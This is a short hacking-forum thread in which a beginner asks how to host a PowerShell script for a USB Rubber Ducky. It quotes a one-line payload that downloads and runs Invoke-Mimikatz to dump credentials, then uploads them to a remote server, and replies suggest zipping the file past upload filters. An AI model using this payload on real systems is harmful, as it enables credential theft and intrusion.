Jump to content

Web hosting service that allows ps1 files


nobama2
 Share

Recommended Posts

ps1 is just a text script. how do they "not" allow hosting of these? I can't see them blocking by filetype, but if so, put them in a zip, upload, done.

Link to comment
Share on other sites

Be patient with me I am a newbie. I am trying to use rubber ducky and the invoke mimikatz powershell script.\

REM Download and execute Invoke Mimikatz then upload the results
STRING powershell "IEX (New-Object Net.WebClient).DownloadString('http://darren.kitchen/im.ps1'); $output = Invoke-Mimikatz -DumpCreds; (New-Object Net.WebClient).UploadString('http://darren.kitchen/rx.php', $output)"

 

I assume download string downloads the file  im.ps1 from the http web site (not darrens of coarse) runs it and dumps results in file rx.php  and uploads it  webserver via http.

I set up a webpage on domain.com and tried to upload im.ps1 but could not, told not allowed. Poweshell file. That is wheree I am stuck. Any help appreciated.

Link to comment
Share on other sites

Ah, you'd be better off asking the Ducky section of the forum them.

As this is just general questions, and your question is more specific to the Ducky and powershell uploads.

 

As for your site that you are trying to upload to, sites don't generally just let anyone upload anything randomly. You'd need to setup a section on your site that allows something, in this case your script, to transfer files up to it.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...